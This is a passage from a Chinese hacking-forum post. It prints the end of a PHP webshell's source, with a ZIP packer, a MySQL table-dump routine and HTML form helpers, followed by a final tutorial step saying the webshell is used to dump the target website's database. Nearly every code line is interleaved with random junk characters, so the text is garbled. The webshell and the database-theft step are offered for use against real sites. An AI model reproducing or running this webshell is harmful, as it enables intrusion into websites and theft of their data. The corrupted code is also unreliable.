  1705.         }$ D  N* T6 P) d( W( T. D4 v. }
  1706. . Y4 w9 O4 g5 n+ }
  1707.         var $datasec      = array();, k! B' @2 h6 t/ @' `
  1708.         var $ctrl_dir     = array();
    : }) R0 L8 ?, I3 a& z- G
  1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";# K: h  G- {% g5 m
  1710.         var $old_offset   = 0;
    1 X9 _% U5 Q7 j9 d! {% V2 h6 G
  1711. + N/ v; s9 s: G, D$ z7 G3 @
  1712.         function unix2DosTime($unixtime = 0) {+ @8 m, y, o9 H0 Q$ N
  1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
    # S2 P+ T2 Q5 F3 U7 k& f) o
  1714.                 if ($timearray['year'] < 1980) {- ?6 x& @  G3 }
  1715.                         $timearray['year']    = 1980;9 `, P% J8 V3 e
  1716.                         $timearray['mon']     = 1;
    ! V" y6 Y- r0 r# w0 x+ `
  1717.                         $timearray['mday']    = 1;2 i& {' m$ |: P, d2 g+ z# i
  1718.                         $timearray['hours']   = 0;. n% X/ n* |7 f+ R9 M
  1719.                         $timearray['minutes'] = 0;  _3 O% X" Z5 S. S
  1720.                         $timearray['seconds'] = 0;3 n3 t5 v* q1 ^% j; B
  1721.                 } // end if
    9 R) w( W% E3 P  u: |8 F, d* h
  1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
    . [* i  G0 A0 s" l7 E
  1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
    ) k% V9 e2 `2 E) e0 ]
  1724.         }9 s% R' N, B3 J
  1725.         function addFile($data, $name, $time = 0) {
    8 y' J: X& E. {. u2 x
  1726.                 $name = str_replace('\\', '/', $name);" U" U, q2 I; s; q7 n
  1727.                 $dtime = dechex($this->unix2DosTime($time));3 [' D' W5 T( P6 ]* _
  1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]- o( l' P+ w/ g% f, _7 [
  1729.                                         . '\x' . $dtime[4] . $dtime[5]
    " j! a( M& J  J( S. Q9 N
  1730.                                         . '\x' . $dtime[2] . $dtime[3]* V9 [) J/ q# d" o/ S: q
  1731.                                         . '\x' . $dtime[0] . $dtime[1];
    $ }8 S. Y) W* \" g  M
  1732.                 eval('$hexdtime = "' . $hexdtime . '";');5 l* }* Z2 o! F% o
  1733.                 $fr        = "\x50\x4b\x03\x04";
    + a* ?  k( F# A5 A. P
  1734.                 $fr        .= "\x14\x00";& _2 p) N( A, u6 b; }9 S' ~
  1735.                 $fr        .= "\x00\x00";. b2 a. \, n5 _3 n) R/ V( u7 P
  1736.                 $fr        .= "\x08\x00";9 {1 |1 L$ |3 Z* Z  p% f& J7 _1 A0 }
  1737.                 $fr        .= $hexdtime;- W1 o/ {7 y" A& h
  1738.                 $unc_len = strlen($data);1 g: i; h% @3 v$ K
  1739.                 $crc = crc32($data);& l2 ~8 D/ v+ ^3 N
  1740.                 $zdata = gzcompress($data);
    : z! l6 m9 }! p; @: e
  1741.                 $c_len = strlen($zdata);6 b2 w3 w0 j) n
  1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
    : m6 ?- M7 ^$ z- ?9 X# |: j
  1743.                 $fr .= pack('V', $crc);# C, w/ E. E; V( ?8 v$ a/ [# H& }
  1744.                 $fr .= pack('V', $c_len);
    : R9 u4 {6 B( o; K! |
  1745.                 $fr .= pack('V', $unc_len);% c$ ^( h6 y9 Y. i
  1746.                 $fr .= pack('v', strlen($name));4 E. j6 B+ B( ~& \# O1 g
  1747.                 $fr .= pack('v', 0);4 _  |+ @$ o& X+ @! {5 H, z
  1748.                 $fr .= $name;
    ' Z) G6 |6 k' E! D/ @
  1749.                 $fr .= $zdata;
    ; H9 I1 V& w2 {3 B8 u
  1750.                 $fr .= pack('V', $crc);0 U9 H8 A( Y2 q" ^2 t* E* @( o
  1751.                 $fr .= pack('V', $c_len);7 Y% z4 M$ q6 A
  1752.                 $fr .= pack('V', $unc_len);1 h6 S9 x+ E: x) W
  1753.                 $this -> datasec[] = $fr;
    1 t$ c! P5 j% _' Y* j) i. u* M
  1754.                 $new_offset = strlen(implode('', $this->datasec));4 C$ b  k: C; Y7 I
  1755.                 $cdrec = "\x50\x4b\x01\x02";) Z7 ]1 b" `) q3 C8 \6 z; N
  1756.                 $cdrec .= "\x00\x00";
    ' B' Z8 S; Z! v
  1757.                 $cdrec .= "\x14\x00";
    % ~. p- u/ R7 b# T3 ^, r
  1758.                 $cdrec .= "\x00\x00";
    6 Z, |3 v2 j8 _5 F2 U) Y. G/ y/ W7 O4 U
  1759.                 $cdrec .= "\x08\x00";: ~8 U- A0 @! w# G
  1760.                 $cdrec .= $hexdtime;/ B( y7 C# w9 l; |
  1761.                 $cdrec .= pack('V', $crc);% n/ c) d0 D3 w+ [' l. [" ^
  1762.                 $cdrec .= pack('V', $c_len);& ?1 K' P# M2 r, h" o3 o
  1763.                 $cdrec .= pack('V', $unc_len);
    / O& w+ c2 h$ @. i+ L
  1764.                 $cdrec .= pack('v', strlen($name) );5 p8 H; `2 L4 f
  1765.                 $cdrec .= pack('v', 0 );! I% {4 i3 p" y0 ?: o" d
  1766.                 $cdrec .= pack('v', 0 );
    . c8 U9 j. k' d+ k; H
  1767.                 $cdrec .= pack('v', 0 );% j+ @$ n2 x  c- c
  1768.                 $cdrec .= pack('v', 0 );& j( {6 v* B2 v5 A# I
  1769.                 $cdrec .= pack('V', 32 );2 V7 s$ _+ t8 v, H1 }0 [$ t
  1770.                 $cdrec .= pack('V', $this -> old_offset );$ f* I. ~: G- m/ E7 ^
  1771.                 $this -> old_offset = $new_offset;
    1 w* M5 f+ m- i6 t5 }4 ~
  1772.                 $cdrec .= $name;! ~& O! v6 I  R- M4 g4 i1 N
  1773.                 $this -> ctrl_dir[] = $cdrec;% c7 z% E) p0 a( o" K6 J
  1774.         }- m6 c% \3 H/ Z& m+ Z
  1775.         function file() {
    % V2 b/ e% t; D0 F  @* O
  1776.                 $data    = implode('', $this -> datasec);
    9 f* d# S) j0 E: V
  1777.                 $ctrldir = implode('', $this -> ctrl_dir);2 O" [1 ]& w$ p# d6 E
  1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";' Z2 {' G3 r, e$ p1 r
  1779.         }
    - p$ h& W5 ~1 u4 q* [' R8 {" J
  1780. }  f- p8 T7 M% c, ?
  1781. // 备份数据库
    % Y( |; }$ f+ q0 J7 K
  1782. function sqldumptable($table, $fp=0) {
    + X- C8 K0 d1 `. y# I" C& \
  1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
    7 [, r0 y% p  H+ e; s- _
  1784.         $tabledump .= "CREATE TABLE $table (\n";( y0 S+ _0 W5 J- c* C7 w
  1785.         $firstfield=1;
    : D6 O1 d2 q7 N
  1786.         $fields = q("SHOW FIELDS FROM $table");
    ' _5 J$ b7 l: M$ W
  1787.         while ($field = mysql_fetch_array($fields)) {
    8 \' B# G4 W2 D% J
  1788.                 if (!$firstfield) {+ E0 C5 k/ W5 ?: U' I* y/ N
  1789.                         $tabledump .= ",\n";; T; R$ d8 B- L( `
  1790.                 } else {
    $ i7 q4 `9 [. j/ [7 j, Y: H
  1791.                         $firstfield=0;" r+ A+ u4 h, D* l( k6 C
  1792.                 }7 |3 @" n" ^) s
  1793.                 $tabledump .= "   $field[Field] $field[Type]";
    4 C, s: d( s- ~0 |2 g+ j$ v
  1794.                 if (!empty($field["Default"])) {
    3 a2 x1 G, G$ f; k. m. b
  1795.                         $tabledump .= " DEFAULT '$field[Default]'";+ G, K7 X* r5 R, E
  1796.                 }5 V* d! C* {/ t8 j1 ?
  1797.                 if ($field['Null'] != "YES") {( c' [$ Q  h5 g5 q* {- i( L
  1798.                         $tabledump .= " NOT NULL";& N* [: p5 g# o; D# z) A9 ?1 y. o* v5 A
  1799.                 }  H% }5 i* m* i
  1800.                 if ($field['Extra'] != "") {* Q+ ~; k, u6 a( }+ D0 l
  1801.                         $tabledump .= " $field[Extra]";
    # [1 k' _3 a+ D( y& n
  1802.                 }1 X* Y+ H6 X: z" V2 m7 J
  1803.         }
      R5 \- o; `; [2 P* T; j0 d
  1804.         fr($fields);% q; a1 N, J, O) u4 B& Q1 v. E
  1805.         $keys = q("SHOW KEYS FROM $table");- `# ?8 i0 @* g" S8 N5 N  Q- M
  1806.         while ($key = mysql_fetch_array($keys)) {
    # D# z* x4 f; w, ^% X0 z* Y% j2 s+ H
  1807.                 $kname=$key['Key_name'];
    ! `) ~. e' N7 D9 G/ t
  1808.                 if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {" j. S7 S% M! f$ }3 c+ g  U- Q; ]
  1809.                         $kname="UNIQUE|$kname";
    / Y2 M* ~# s+ l" [
  1810.                 }
    : p3 z# ~3 {2 _! @% s+ w
  1811.                 if(!is_array($index[$kname])) {
    $ ]' [3 t, S( F  w2 F3 q# k
  1812.                         $index[$kname] = array();3 Q" P$ x- R0 A( Z
  1813.                 }
    ' L# m' s+ a% G. z1 d
  1814.                 $index[$kname][] = $key['Column_name'];9 D* K0 A2 h7 u( V- v  y0 V1 \
  1815.         }
    4 @) o& b4 {$ ?( D
  1816.         fr($keys);8 n. `- C% }/ [, V* N- P  z
  1817.         while(list($kname, $columns) = @each($index)) {
    ; Z# i/ x1 Z- i9 ]4 L
  1818.                 $tabledump .= ",\n";
    4 i+ B* T0 t( |' f- g( U, A
  1819.                 $colnames=implode($columns,",");
    $ W" m; j, |( |& n" Z! z. j
  1820.                 if ($kname == "PRIMARY") {0 A% j# u0 J1 T. F3 z& C! |( u
  1821.                         $tabledump .= "   PRIMARY KEY ($colnames)";
    ' [. q  q' N9 v* u
  1822.                 } else {
    2 W7 I# F# r* O( \' I0 N$ C% Z3 s
  1823.                         if (substr($kname,0,6) == "UNIQUE") {5 y% F' z1 \; u# k0 ]# e# c
  1824.                                 $kname=substr($kname,7);
    3 x* [0 K9 ]8 M  }
  1825.                         }0 R% ^: B! P9 l( R) F" t5 j' h4 z9 R5 Z9 l
  1826.                         $tabledump .= "   KEY $kname ($colnames)";
    % b  i# F( h' S5 s
  1827.                 }
    5 Y4 e# X4 Y4 `6 F0 d
  1828.         }$ I) Y) C# G* e6 r% I
  1829.         $tabledump .= "\n);\n\n";
    # `3 _9 r+ ^( x+ t' S
  1830.         if ($fp) {; a* x4 j( @8 i8 D6 M6 \* W& e5 v' e0 ]
  1831.                 fwrite($fp,$tabledump);/ ~; K7 h, q1 e' j
  1832.         } else {
    : J- v2 f" d% m
  1833.                 echo $tabledump;$ M( h" o7 G! ^' s; i* g
  1834.         }, ?0 l7 |7 p, \7 E
  1835.         $rows = q("SELECT * FROM $table");
    ) V* Q; h/ o: D% p7 [* h; {
  1836.         $numfields = mysql_num_fields($rows);
    ; _" \; K5 u8 M( e
  1837.         while ($row = mysql_fetch_array($rows)) {% b+ w/ Y- K. Q; M, n
  1838.                 $tabledump = "INSERT INTO $table VALUES(";
    7 T  v- B: C/ {2 b% ^
  1839.                 $fieldcounter=-1;
    5 g. Z3 c$ ^# m/ v4 |% X( r) s$ y
  1840.                 $firstfield=1;
    : r3 c) M: m- O
  1841.                 while (++$fieldcounter<$numfields) {
    2 A9 Y! k" n  \* i# V, m" M+ }0 a
  1842.                         if (!$firstfield) {+ F/ ], \! f8 l0 p
  1843.                                 $tabledump.=", ";# ]- J3 I" C; ^  b+ z
  1844.                         } else {
    , k8 N0 y7 J; J- [/ F* n2 D4 m
  1845.                                 $firstfield=0;/ |+ m; c9 h$ [% Z4 r0 H5 p4 i- B
  1846.                         }
    2 J  o  c1 Z( n, ?' u- s
  1847.                         if (!isset($row[$fieldcounter])) {
    ( c( ]4 F& X0 R3 [/ f& I2 t0 ^! l. e
  1848.                                 $tabledump .= "NULL";
    8 z& D0 T" r) M' |
  1849.                         } else {9 k6 ~. v8 L: C$ E
  1850.                                 $tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";( N! ?. p  W3 A# P# S- M
  1851.                         }
    . C9 |! w& {5 z- n! R) ]! |
  1852.                 }# u  g. y; K( b
  1853.                 $tabledump .= ");\n";% r( ^  Y. L* I' q# y
  1854.                 if ($fp) {
    4 @2 W" A. @$ l6 l. d2 [( S! X
  1855.                         fwrite($fp,$tabledump);, N6 E) N7 n9 r1 ^" ~
  1856.                 } else {7 L2 T3 V3 ^9 G( l' l7 x2 l; {5 {: Q4 q
  1857.                         echo $tabledump;7 d3 Y* ^# M( U2 x& y9 t+ h* {+ ?$ I
  1858.                 }6 B" }% {  g( |' C" b& Z
  1859.         }
    ( c1 }, Y8 ~: _2 [. ~6 `* F+ }+ z
  1860.         fr($rows);
    1 a# }; G, |# k5 k8 ~9 t: b
  1861.         if ($fp) {
    ! \+ J+ O7 k- t8 F
  1862.                 fwrite($fp,"\n");7 y3 I4 Y6 h! {5 y- Q
  1863.         } else {$ s4 O( X2 r& b0 P; F/ w; f
  1864.                 echo "\n";- T. n, F( [# b; m0 `: `- a3 t
  1865.         }
    * u! A* K5 z2 n7 v3 F
  1866. }( p# U% Z% M0 m& A" V* G4 f
  1867. function ue($str){9 z% v/ D% }+ V0 b
  1868.         return urlencode($str);
    8 R6 o) ~) T5 G2 z, [
  1869. }
    * V7 e/ D3 Q5 Y/ o! t' A( d
  1870. function p($str){
    . [" T8 h, t0 F
  1871.         echo $str."\n";
    8 Y% g2 x  w8 }/ v1 s6 A
  1872. }8 e) q9 Q% d8 x- l3 F
  1873. function tbhead() {
    # l( ^2 {$ S* Z
  1874.         p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
    5 c" \6 G. r2 {# ^3 p6 n- n+ q
  1875. }
    1 u5 u9 G% ~; m% ^
  1876. function tbfoot(){+ C. U8 M: E$ ?& Q2 W
  1877.         p('</table>');
    9 r  ?+ m4 l3 n- ~* I
  1878. }
    % H2 W: ^' D, K6 M
  1879. function makehide($name,$value=''){
    / l5 l, s8 b1 Y4 i! S
  1880.         p("<input id="$name" type="hidden" name="$name" value="$value" />");; J) I5 F; X! F
  1881. }2 n  ?! i  V4 a5 Z6 u8 R
  1882. function makeinput($arg = array()){1 q( F5 ?% ]( o
  1883.         $arg['size'] = $arg['size'] > 0 ? "size="$arg[size]"" : "size="100"";+ p, X0 `- A; a* G% n/ `! R
  1884.         $arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
    ( e" \. l  I5 G8 }
  1885.         !$arg['type'] && $arg['type'] = 'text';
    4 V- r2 _' }! I6 d& B! O  T
  1886.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';! R! X( B2 e  M0 I: y- m
  1887.         $arg['class'] = $arg['class'] ? $arg['class'] : 'input';+ r! t7 w5 G  u. F- `
  1888.         if ($arg['newline']) {# F/ p! M. w0 L7 }$ ^$ T
  1889.                 p("<p>$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] /></p>");
    : Q) [7 W8 I: X% B% d& M* Q
  1890.         } else {
    : R" b3 M) z4 c3 K
  1891.                 p("$arg[title]<input class="$arg[class]" name="$arg[name]" id="$arg[name]" value="$arg[value]" type="$arg[type]" $arg[size] $arg[extra] />");
    9 Q+ b4 E( P6 }9 G4 ?, v* c
  1892.         }
    - i/ ^* h2 v8 s- L: ]; O) e+ z
  1893. }0 n5 A% D6 H* F
  1894. function makeselect($arg = array()){
    / O6 p. N% H+ s. H" \8 g
  1895.         if ($arg['onchange']) {
    9 m/ N! S0 ]$ h
  1896.                 $onchange = 'onchange="'.$arg['onchange'].'"';4 I8 W  _* C% [; w# n4 [
  1897.         }1 Z: ^6 P; E. S/ e
  1898.         $arg['title'] = $arg['title'] ? $arg['title'] : '';
    ) e9 l- \3 I& V
  1899.         if ($arg['newline']) p('<p>');
    5 t# I/ }4 M) G) y& a8 g
  1900.         p("$arg[title] <select class="input" id="$arg[name]" name="$arg[name]" $onchange>");; h/ y3 m# s5 e
  1901.                 if (is_array($arg['option'])) {- r3 i$ `8 ?6 v- t
  1902.                         foreach ($arg['option'] as $key=>$value) {
    , R- E$ A0 U' v/ V' z
  1903.                                 if ($arg['selected']==$key) {" l; C! N# Q0 c6 |; R  Z8 j
  1904.                                         p("<option value="$key" selected>$value</option>");4 H( k5 M, Q2 A0 I6 ?* k
  1905.                                 } else {+ b9 B" p. i: N/ I4 V+ g! r' Y4 v
  1906.                                         p("<option value="$key">$value</option>");3 @6 F4 Q* R  C& F4 P7 v5 [0 A
  1907.                                 }
    ! d' K1 l6 b1 X4 c; A
  1908.                         }
    & x, E" |( q/ ]+ M0 k! w
  1909.                 }5 \2 K$ n1 Z9 T  |( S2 z9 Z1 }, H( s
  1910.         p("</select>");
    0 o. }3 Z, i$ Z
  1911.         if ($arg['newline']) p('</p>');$ r' P9 Z1 v; T+ W% ?8 F. h8 F7 U/ h
  1912. }5 V4 I4 B4 n5 D% R! R* @7 u
  1913. function formhead($arg = array()) {2 I4 E0 L: I( h+ `, S3 _
  1914.         !$arg['method'] && $arg['method'] = 'post';- K) l" Y  n1 X9 O- S+ q9 X
  1915.         !$arg['action'] && $arg['action'] = $self;
    : g/ X" r3 D0 {0 W" u& Z
  1916.         $arg['target'] = $arg['target'] ? "target="$arg[target]"" : '';
    ; M* R! b: [9 p/ p' A8 @5 U# Y
  1917.         !$arg['name'] && $arg['name'] = 'form1';
    % o  s8 s( S9 U0 Y. u
  1918.         p("<form name="$arg[name]" id="$arg[name]" action="$arg[action]" method="$arg[method]" $arg[target]>");8 r3 n  O8 g% n! e& ~: P
  1919.         if ($arg['title']) {
    " u3 B% i: ^- R2 H, j$ v  z
  1920.                 p('<h2>'.$arg['title'].' »</h2>');
    7 t. N" |1 ~$ |: e5 O( g: e
  1921.         }
    . ?' q& @8 I  x0 m
  1922. }
    ! e9 Y0 b3 H% H; D8 s& c' x, J( O, y) A
  1923.        
    # n3 b, K* }8 F
  1924. function maketext($arg = array()){; B3 n0 X3 W+ U" u/ j
  1925.         !$arg['cols'] && $arg['cols'] = 100;
    5 z, g; v' F# G; {9 J+ _- D3 B
  1926.         !$arg['rows'] && $arg['rows'] = 25;) s3 b2 y: d% X% b. Y' f
  1927.         $arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
    # A& ]. k1 }9 y( U. X) R1 ?2 |
  1928.         p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");& r* e& J* s/ d3 A: V* i4 {! `
  1929. }9 W+ i  c2 }( p) ?

  1930. + {; G6 @4 ^4 c9 X' S
  1931. function formfooter($name = ''){
    2 l9 @9 m( Y& G; ]" X
  1932.         !$name && $name = 'submit';
    ; n5 q% D: D* Z) E' w
  1933.         p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
      Z7 e8 ~! e; T9 r6 h0 N' |
  1934.         p('</form>');
    : x! b5 Y' Z1 Z) C* J6 U
  1935. }
    . L1 @. m; {$ A
  1936. ) h% I$ a# e( a' Y1 @8 S
  1937. function formfoot(){7 A( f/ Q% C5 e2 u$ K2 _# j
  1938.         p('</form>');" y/ [- v' {. f4 Z/ r) W" i
  1939. }
    ) S7 i- L& [# I# I) b! m
  1940. 0 `1 p: H, G4 U5 x0 G1 f3 p- d
  1941. // 调试函数
    - e( |7 Q' t: d( _( ]
  1942. function pr($a) {) s1 S% n  Z, d0 N& @! ?# Q' H
  1943.         echo '<pre>';
    , c# Q' A4 y  A( f
  1944.         print_r($a);
    8 n. @( r7 C8 o6 W/ }6 B) K8 b: L
  1945.         echo '</pre>';4 G! h8 D! V! o9 Z1 i/ q0 b5 a/ S
  1946. }# E& c2 T7 K/ f+ `3 L) |+ g0 D
  1947. 0 p& G6 h$ f5 h5 d4 L" H/ C; H
  1948. ?>
复制代码

11、最后通过大码对网站数据库进行脱库
5 h* R) G; N5 q0 D; A2 V) @' H


: k$ t; G6 J  r+ t( Q4 Z' H! O! ^2 h$ n  y$ ]
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|

GMT+8, 2026-3-22 04:04 AM , Processed in 0.100689 second(s), 23 queries .

Powered by xyh-moon X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表